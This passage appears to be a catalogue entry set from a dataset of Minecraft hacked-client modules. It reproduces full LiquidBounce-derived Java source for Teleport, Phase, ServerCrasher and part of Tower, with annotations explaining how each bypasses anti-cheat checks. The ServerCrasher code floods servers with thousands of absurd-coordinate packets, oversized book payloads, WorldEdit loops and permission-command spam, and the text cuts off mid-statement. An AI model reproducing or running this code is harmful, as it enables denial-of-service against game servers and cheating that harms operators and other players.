C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.6D, mc.thePlayer.posZ, true));\n\n                    if((int) mc.thePlayer.posX == (int) endX && (int) mc.thePlayer.posY == (int) endY && (int) mc.thePlayer.posZ == (int) endZ) {\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                        endPos = null;\n                    }else\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3Teleport try...\");\n                    break;\n                case \"oldrewinside\":\n                    mc.thePlayer.motionY = 0.1;\n\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n                    if((int) mc.thePlayer.posX == (int) endX && (int) mc.thePlayer.posY == (int) endY && (int) mc.thePlayer.posZ == (int) endZ) {\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                        endPos = null;\n                    }else\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3Teleport try...\");\n\n                    MovementUtils.forward(0.04D);\n                    break;\n                case \"minesucht\":\n                    if(!mc.thePlayer.isSneaking())\n                        break;\n\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                    ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                    break;\n            }\n        }\n    }\n\n    @EventTarget\n    public void onRender3D(final Render3DEvent event) {\n        if(modeValue.get().equals(\"AAC3.5.0\"))\n            return;\n\n        objectPosition = mc.thePlayer.rayTrace(1000, event.getPartialTicks());\n\n        if(objectPosition.getBlockPos() == null)\n            return;\n\n        final int x = objectPosition.getBlockPos().getX();\n        final int y = objectPosition.getBlockPos().getY();\n        final int z = objectPosition.getBlockPos().getZ();\n\n        if(!(BlockUtils.getBlock(objectPosition.getBlockPos()) instanceof BlockAir)) {\n            final RenderManager renderManager = mc.getRenderManager();\n\n            glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n            glEnable(GL_BLEND);\n            glLineWidth(2F);\n            glDisable(GL_TEXTURE_2D);\n            glDisable(GL_DEPTH_TEST);\n            glDepthMask(false);\n            RenderUtils.glColor(modeValue.get().equalsIgnoreCase(\"minesucht\") && mc.thePlayer.getPosition().getY() != y + 1 ? new Color(255, 0, 0, 90) : BlockUtils.getBlock(objectPosition.getBlockPos().up()).getMaterial() != Material.air ? new Color(255, 0, 0, 90) : new Color(0, 255, 0, 90));\n            RenderUtils.drawFilledBox(new AxisAlignedBB(x - renderManager.renderPosX, (y + 1) - renderManager.renderPosY, z - renderManager.renderPosZ, x - renderManager.renderPosX + 1.0D, y + 1.2D - renderManager.renderPosY, z - renderManager.renderPosZ + 1.0D));\n            glEnable(GL_TEXTURE_2D);\n            glEnable(GL_DEPTH_TEST);\n            glDepthMask(true);\n            glDisable(GL_BLEND);\n\n            RenderUtils.renderNameTag(Math.round(mc.thePlayer.getDistance(x, y, z)) + \"m\", x + 0.5, y + 1.7, z + 0.5);\n            GlStateManager.resetColor();\n        }\n    }\n\n    @EventTarget\n    public void onMove(final MoveEvent event) {\n        if (\"aac3.5.0\".equals(modeValue.get().toLowerCase()) && freeze) {\n            event.zeroXZ();\n        }\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if(disableLogger)\n            return;\n\n        if(packet instanceof C03PacketPlayer) {\n            final C03PacketPlayer packetPlayer = (C03PacketPlayer) packet;\n\n            switch(modeValue.get().toLowerCase()) {\n                case \"spoof\":\n                    if(endPos == null)\n                        break;\n\n                    packetPlayer.x = endPos.getX() + 0.5D;\n                    packetPlayer.y = endPos.getY() + 1;\n                    packetPlayer.z = endPos.getZ() + 0.5D;\n                    mc.thePlayer.setPosition(endPos.getX() + 0.5D, endPos.getY() + 1, endPos.getZ() + 0.5D);\n                    break;\n                case \"aac3.5.0\":\n                    if(!flyTimer.hasTimePassed(60))\n                        return;\n\n                    event.cancelEvent();\n\n                    if(!(packet instanceof C03PacketPlayer.C04PacketPlayerPosition) && !(packet instanceof C03PacketPlayer.C06PacketPlayerPosLook))\n                        return;\n\n                    packets.add(packet);\n                    break;\n            }\n        }\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n\n// NOTE (AI): The packet section shows the Blink and Flag modes wrapping C04 bursts with STOP_SNEAKING and START_SNEAKING, and the onPacket handler mutating C03 x/y/z to the target in Spoof mode or cancelling and queuing C04/C06 in AAC3.5.0 mode. The client position is snapped with setPosition after each burst, so the client and server views diverge until the server rubberbands.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Teleport.java",
      "vanilla_hook": "PacketEvent (C03 cancel and mutate), onEnable send burst, TickEvent for the path walk.",
      "anti_cheat_notes": "The C04 stream keeps every reported position inside one tick's plausible delta, which is what defeats naive teleport checks; the lag-back arming means the server confirms the start position before the module moves.",
      "variations": "Tp.java (AquaVit) is the lag-back-armed variant that walks a computed path; TeleportCommand reuses the +0.41999998688697815/+0.675319998688697815 C06 pair and rewrites S08 rotation after teleporting."
     },
     {
      "name": "Phase",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Walk through solid blocks by sending C04 position bursts into the wall and cancelling the vanilla push-out.",
      "how_it_works": "While collided horizontally and on ground, Vanilla and Spartan modes send the six-packet C04 shuffle (self, 0.5/0/0.5, self, self + y + 0.2, 0.5/0/0.5, self + 0.5) and nudge the client position along the yaw; Skip sends +0.06 ladders with directional offsets. AAC3.5.0 mutates C03 x and z by 1e-8 along the movement direction, and onPushOut cancels the push-out so the block never ejects the player.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Phase.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.block.BlockUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TickTimer;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.util.AxisAlignedBB;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MathHelper;\n\n@ModuleInfo(name = \"Phase\", description = \"Allows you to walk through blocks.\", category = ModuleCategory.EXPLOIT)\npublic class Phase extends Module {\n\n    private final ListValue modeValue = new ListValue(\"Mode\", new String[] {\"Vanilla\", \"Skip\", \"Spartan\", \"Clip\", \"AAC3.5.0\", \"Mineplex\"}, \"Vanilla\");\n\n    private final TickTimer tickTimer = new TickTimer();\n\n    private boolean mineplexClip;\n    private TickTimer mineplexTickTimer = new TickTimer();\n\n    @EventTarget\n    public void onUpdate(final UpdateEvent event) {\n        final boolean isInsideBlock = BlockUtils.collideBlockIntersects(mc.thePlayer.getEntityBoundingBox(), block -> !(block instanceof BlockAir));\n\n        if(isInsideBlock && !modeValue.get().equalsIgnoreCase(\"Mineplex\")) {\n            mc.thePlayer.noClip = true;\n            mc.thePlayer.motionY = 0D;\n            mc.thePlayer.onGround = true;\n        }\n\n        final NetHandlerPlayClient netHandlerPlayClient = mc.getNetHandler();\n\n        switch(modeValue.get().toLowerCase()) {\n            case \"vanilla\": {\n                if(!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))\n                    break;\n\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, 0, 0.5D, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.2D, mc.thePlayer.posZ, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, 0, 0.5D, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 0.5D, mc.thePlayer.posY, mc.thePlayer.posZ + 0.5D, true));\n                final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);\n                final double x = -Math.sin(yaw) * 0.04D;\n                final double z = Math.cos(yaw) * 0.04D;\n                mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z);\n                tickTimer.reset();\n                break;\n            }\n            case \"skip\": {\n                if(!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))\n                    break;\n\n                final double direction = MovementUtils.getDirection();\n                final double posX = -Math.sin(direction) * 0.3;\n                final double posZ = Math.cos(direction) * 0.3;\n\n                for(int i = 0; i < 3; ++i) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.06, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + posX * i, mc.thePlayer.posY, mc.thePlayer.posZ + posZ * i, true));\n                }\n\n                mc.thePlayer.setEntityBoundingBox(mc.thePlayer.getEntityBoundingBox().offset(posX, 0.0D, posZ));\n                mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX + posX, mc.thePlayer.posY, mc.thePlayer.posZ + posZ);\n                tickTimer.reset();\n                break;\n            }\n            case \"spartan\": {\n                if(!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))\n                    break;\n\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, 0, 0.5D, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.2D, mc.thePlayer.posZ, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, 0, 0.5D, true));\n                netHandlerPlayClient.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 0.5D, mc.thePlayer.posY, mc.thePlayer.posZ + 0.5D, true));\n                final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);\n                final double x = -Math.sin(yaw) * 0.04D;\n                final double z = Math.cos(yaw) * 0.04D;\n                mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z);\n                tickTimer.reset();\n                break;\n            }\n            case \"clip\": {\n                if(!tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))\n                    break;\n\n                final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);\n                final double oldX = mc.thePlayer.posX;\n                final double oldZ = mc.thePlayer.posZ;\n\n                for(int i = 1; i <= 10; i++) {\n                    final double x = -Math.sin(yaw) * i;\n                    final double z = Math.cos(yaw) * i;\n\n                    if(BlockUtils.getBlock(new BlockPos(oldX + x, mc.thePlayer.posY, oldZ + z)) instanceof BlockAir && BlockUtils.getBlock(new BlockPos(oldX + x, mc.thePlayer.posY + 1, oldZ + z)) instanceof BlockAir) {\n                        mc.thePlayer.setPosition(oldX + x, mc.thePlayer.posY, oldZ + z);\n                        break;\n                    }\n                }\n                tickTimer.reset();\n                break;\n            }\n            case \"aac3.5.0\": {\n                if(!tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking()))\n                    break;\n\n                final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);\n                final double oldX = mc.thePlayer.posX;\n                final double oldZ = mc.thePlayer.posZ;\n                final double x = -Math.sin(yaw);\n                final double z = Math.cos(yaw);\n\n                mc.thePlayer.setPosition(oldX + x, mc.thePlayer.posY, oldZ + z);\n                tickTimer.reset();\n                break;\n            }\n        }\n\n        tickTimer.update();\n    }\n\n    @EventTarget\n    public void onBlockBB(final BlockBBEvent event) {\n        if(mc.thePlayer != null && BlockUtils.collideBlockIntersects(mc.thePlayer.getEntityBoundingBox(), block -> !(block instanceof BlockAir)) && event.getBoundingBox() != null && event.getBoundingBox().maxY > mc.thePlayer.getEntityBoundingBox().minY && !modeValue.get().equalsIgnoreCase(\"Mineplex\")) {\n            final AxisAlignedBB axisAlignedBB = event.getBoundingBox();\n\n            event.setBoundingBox(new AxisAlignedBB(axisAlignedBB.maxX, mc.thePlayer.getEntityBoundingBox().minY, axisAlignedBB.maxZ, axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.minZ));\n        }\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if(packet instanceof C03PacketPlayer) {\n            final C03PacketPlayer packetPlayer = (C03PacketPlayer) packet;\n\n            if(modeValue.get().equalsIgnoreCase(\"AAC3.5.0\")) {\n                final float yaw = (float) MovementUtils.getDirection();\n\n                packetPlayer.x = packetPlayer.x - MathHelper.sin(yaw) * 0.00000001D;\n                packetPlayer.z = packetPlayer.z + MathHelper.cos(yaw) * 0.00000001D;\n            }\n        }\n    }\n\n    @EventTarget\n    private void onMove(final MoveEvent event) {\n        if (modeValue.get().equalsIgnoreCase(\"mineplex\")) {\n            if (mc.thePlayer.isCollidedHorizontally)\n                mineplexClip = true;\n            if (!mineplexClip)\n                return;\n\n            mineplexTickTimer.update();\n\n            event.setX(0);\n            event.setZ(0);\n\n            if (mineplexTickTimer.hasTimePassed(3)) {\n                mineplexTickTimer.reset();\n                mineplexClip = false;\n            } else if (mineplexTickTimer.hasTimePassed(1)) {\n                final double offset = mineplexTickTimer.hasTimePassed(2) ? 1.6D : 0.06D;\n                final double direction = MovementUtils.getDirection();\n\n                mc.thePlayer.setPosition(mc.thePlayer.posX + (-Math.sin(direction) * offset), mc.thePlayer.posY, mc.thePlayer.posZ + (Math.cos(direction) * offset));\n            }\n        }\n    }\n\n    @EventTarget\n    public void onPushOut(PushOutEvent event) {\n        event.cancelEvent();\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n\n// NOTE (AI): The Vanilla and Spartan modes send the same six-packet C04 shuffle into the wall and nudge the client position by 0.04 along the yaw; Skip sends +0.06 ladders with directional offsets; AAC3.5.0 shifts C03 x and z by 1e-8 along the movement direction. PushOutEvent is cancelled outright, so vanilla's block push never fires.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Phase.java",
      "vanilla_hook": "UpdateEvent (ladder sends), PacketEvent (C03 mutation), PushOutEvent (cancel), MoveEvent (Mineplex mode).",
      "anti_cheat_notes": "The position bursts are sub-tick moves, so the server's moved-too-quickly gate never trips; the cancelled push-out is the part modern anti-cheats flag, which is why the per-AC modes exist.",
      "variations": "November's PhaseModule is a different animal: it phases through cage glass by deleting the block client-side and cancelling all packets while the window is open (see S08PacketPlayerPosLook)."
     },
     {
      "name": "ServerCrasher",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Crash or lag the server by flooding C04 positions with absurd coordinates.",
      "how_it_works": "AACNew floods 9999 C04 packets at pos + 9412*index per axis in one onEnable burst; AACOther uses 500000*index; AACOld sends a single C04 at NEGATIVE_INFINITY. MassiveChunkLoading walks C04 from the player Y to 255 in 5-block steps plus a 6685-packet diagonal sweep; CubeCraft alternates +0.09999999999999 and ground C04 pairs 3000 times per motion tick.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.misc.RandomUtils;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.nbt.NBTTagCompound;\nimport net.minecraft.nbt.NBTTagList;\nimport net.minecraft.nbt.NBTTagString;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\n\nimport java.util.Random;\n\n@ModuleInfo(name = \"ServerCrasher\", description = \"Allows you to crash certain server.\", category = ModuleCategory.EXPLOIT)\npublic class ServerCrasher extends Module {\n    private final ListValue modeValue = new ListValue(\"Mode\", new String[]{\"AACNew\", \"AACOther\", \"AACOld\", \"WorldEdit\", \"Pex\", \"BookFlood\", \"CubeCraft\", \"MassiveChunkLoading\"}, \"AACNew\");\n\n    private MSTimer pexTimer = new MSTimer();\n\n    @Override\n    public void onEnable() {\n        if (mc.thePlayer == null)\n            return;\n\n        switch (modeValue.get().toLowerCase()) {\n            case \"aacnew\":\n                for (int index = 0; index < 9999; ++index)\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 9412 * index, mc.thePlayer.getEntityBoundingBox().minY + 9412 * index, mc.thePlayer.posZ + 9412 * index, true));\n                break;\n            case \"aacother\":\n                for (int index = 0; index < 9999; ++index)\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 500000 * index, mc.thePlayer.getEntityBoundingBox().minY + 500000 * index, mc.thePlayer.posZ + 500000 * index, true));\n                break;\n            case \"aacold\":\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, true));\n                break;\n            case \"worldedit\":\n                mc.thePlayer.sendChatMessage(\"//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}\");\n                break;\n            case \"cubecraft\":\n                mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.3D, mc.thePlayer.posZ);\n                break;\n            case \"massivechunkloading\":\n                for (double yPos = mc.thePlayer.posY; yPos < 255; yPos += 5)\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, yPos, mc.thePlayer.posZ, true));\n\n                for (int i = 0; i < (1337 * 5); i += 5) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + i, 255, mc.thePlayer.posZ + i, true));\n                }\n                break;\n        }\n    }\n\n    @EventTarget\n    public void onMotion(final MotionEvent event) {\n        if (event.getEventState() == EventState.POST)\n            return;\n\n        switch (modeValue.get().toLowerCase()) {\n            case \"bookflood\":\n                final ItemStack bookStack = new ItemStack(Items.writable_book);\n                final NBTTagCompound bookCompound = new NBTTagCompound();\n\n                bookCompound.setString(\"author\", RandomUtils.randomNumber(20));\n                bookCompound.setString(\"title\", RandomUtils.randomNumber(20));\n\n                final NBTTagList pageList = new NBTTagList();\n                final String pageText = RandomUtils.randomNumber(600);\n\n                for (int page = 0; page < 50; page++)\n                    pageList.appendTag(new NBTTagString(pageText));\n\n                bookCompound.setTag(\"pages\", pageList);\n                bookStack.setTagCompound(bookCompound);\n\n                for (int packets = 0; packets < 100; packets++) {\n                    final PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());\n                    packetBuffer.writeItemStackToBuffer(bookStack);\n                    mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload(new Random().nextBoolean() ? \"MC|BSign\" : \"MC|BEdit\", packetBuffer));\n                }\n                break;\n            case \"cubecraft\":\n                final double x = mc.thePlayer.posX;\n                final double y = mc.thePlayer.posY;\n                final double z = mc.thePlayer.posZ;\n\n                for (int i = 0; i < 3000; ++i) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.09999999999999D, z, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));\n                }\n                mc.thePlayer.motionY = 0;\n                break;\n            case \"pex\":\n                if (pexTimer.hasTimePassed(2000)) {\n                    mc.thePlayer.sendChatMessage(new Random().nextBoolean() ? \"/pex promote a a\" : \"/pex demote a a\");\n                    pexTimer.reset();\n                }\n                break;\n            default:\n                setState(false);\n                break;\n        }\n    }\n\n    @EventTarget\n    public void onWorld(final WorldEvent event) {\n        if (event.getWorldClient() == null) setState(false);\n    }\n\n    @EventTarget\n    public void onTick(final TickEvent event) {\n        if (mc.thePlayer == null || mc.theWorld == null) setState(false);\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n\n// NOTE (AI): The onEnable burst queues 9999 C04 packets at 9412*index offsets (AACNew) or 500000*index (AACOther) in one tick, and AACOld sends a single NEGATIVE_INFINITY position. CubeCraft mode alternates a +0.09999999999999 and a ground C04 pair 3000 times per motion tick. These are grief tools: the absurd coordinates blow past the server's movement validation budget.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.java",
      "vanilla_hook": "onEnable burst, MotionEvent (CubeCraft spam).",
      "anti_cheat_notes": "Trips packet-rate limits and server-side position validation immediately on any protected server; this is a grief tool, not a bypass. Tenacity's Crasher floods C0A swings instead of C04 (see C0APacketAnimation), the same intent on a cheaper packet.",
      "variations": "None in the corpus for this packet; the only other flood-style module is Tenacity's Crasher."
     },
     {
      "name": "Tower",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Rise one block per jump by placing beneath and sending C04 height ladders; the C03 involvement is the packet-mode fake jump.",
      "how_it_works": "Packet mode, on ground with a 2-tick timer, sends C04 +0.42 and +0.753 then snaps the client position up one block; other modes (Motion, MotionTP, Teleport, AAC3.3.9) drive motionY or setPositionAndUpdate. Auto-block switches to the block slot with C09, places through onPlayerRightClick, and swings via swingItem() or a C0A packet when swing is off.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/world/Tower.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.world;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.ui.font.Fonts;\nimport net.ccbluex.liquidbounce.utils.*;\nimport net.ccbluex.liquidbounce.utils.block.BlockUtils;\nimport net.ccbluex.liquidbounce.utils.block.PlaceInfo;\nimport net.ccbluex.liquidbounce.utils.render.RenderUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TickTimer;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.*;\nimport net.minecraft.stats.StatList;\nimport org.lwjgl.input.Keyboard;\nimport net.minecraft.util.Vec3;\n\nimport java.awt.*;\n\n@ModuleInfo(name = \"Tower\", description = \"Automatically builds a tower beneath you.\", category = ModuleCategory.WORLD, keyBind = Keyboard.KEY_O)\npublic class Tower extends Module {\n\n    /**\n     * OPTIONS\n     */\n\n    private final ListValue modeValue = new ListValue(\"Mode\", new String[] {\"Hypixel\",\"Jump\", \"Motion\", \"ConstantMotion\", \"MotionTP\", \"Packet\", \"Teleport\", \"AAC3.3.9\"}, \"Motion\");\n    private final BoolValue autoBlockValue = new BoolValue(\"AutoBlock\", true);\n    private final BoolValue stayAutoBlock = new BoolValue(\"StayAutoBlock\", false);\n    private final BoolValue swingValue = new BoolValue(\"Swing\", true);\n    private final BoolValue stopWhenBlockAbove = new BoolValue(\"StopWhenBlockAbove\", false);\n    private final BoolValue rotationsValue = new BoolValue(\"Rotations\", true);\n    private final BoolValue keepRotationValue = new BoolValue(\"KeepRotation\", false);\n    private final BoolValue onJumpValue = new BoolValue(\"OnJump\", false);\n    private final ListValue placeModeValue = new ListValue(\"PlaceTiming\", new String[]{\"Pre\", \"Post\"}, \"Post\");\n\n    private final FloatValue timerValue = new FloatValue(\"Timer\", 1F, 0F, 10F);\n\n    // Jump mode\n    private final FloatValue jumpMotionValue = new FloatValue(\"JumpMotion\", 0.42F, 0.3681289F, 0.79F);\n    private final IntegerValue jumpDelayValue = new IntegerValue(\"JumpDelay\", 0, 0, 20);\n\n    // ConstantMotion\n    private final FloatValue constantMotionValue = new FloatValue(\"ConstantMotion\", 0.42F, 0.1F, 1F);\n    private final FloatValue constantMotionJumpGroundValue = new FloatValue(\"ConstantMotionJumpGround\", 0.79F, 0.76F, 1F);\n\n    // Teleport\n    private final FloatValue teleportHeightValue = new FloatValue(\"TeleportHeight\", 1.15F, 0.1F, 5F);\n    private final IntegerValue teleportDelayValue = new IntegerValue(\"TeleportDelay\", 0, 0, 20);\n    private final BoolValue teleportGroundValue = new BoolValue(\"TeleportGround\", true);\n    private final BoolValue teleportNoMotionValue = new BoolValue(\"TeleportNoMotion\", false);\n\n    // Render\n    private final BoolValue counterDisplayValue = new BoolValue(\"Counter\", true);\n\n    /**\n     * MODULE\n     */\n\n    // Target block\n    private PlaceInfo placeInfo;\n\n    // Rotation lock\n    private Rotation lockRotation;\n\n    // Mode stuff\n    private final TickTimer timer = new TickTimer();\n    private double jumpGround = 0;\n\n    // AutoBlock\n    private int slot;\n\n    @Override\n    public void onDisable() {\n        if (mc.thePlayer == null) return;\n\n        mc.timer.timerSpeed = 1F;\n        lockRotation = null;\n\n        if (slot != mc.thePlayer.inventory.currentItem)\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n    }\n\n    @EventTarget\n    public void onMotion(final MotionEvent event) {\n        if (onJumpValue.get() && !mc.gameSettings.keyBindJump.isKeyDown())\n            return;\n\n        // Lock Rotation\n        if (rotationsValue.get() && keepRotationValue.get() && lockRotation != null)\n            RotationUtils.setTargetRotation(lockRotation);\n\n        mc.timer.timerSpeed = timerValue.get();\n\n        final EventState eventState = event.getEventState();\n\n        if (placeModeValue.get().equalsIgnoreCase(eventState.getStateName()))\n            place();\n\n        if (eventState == EventState.PRE) {\n            placeInfo = null;\n            timer.update();\n\n            if (autoBlockValue.get() ? 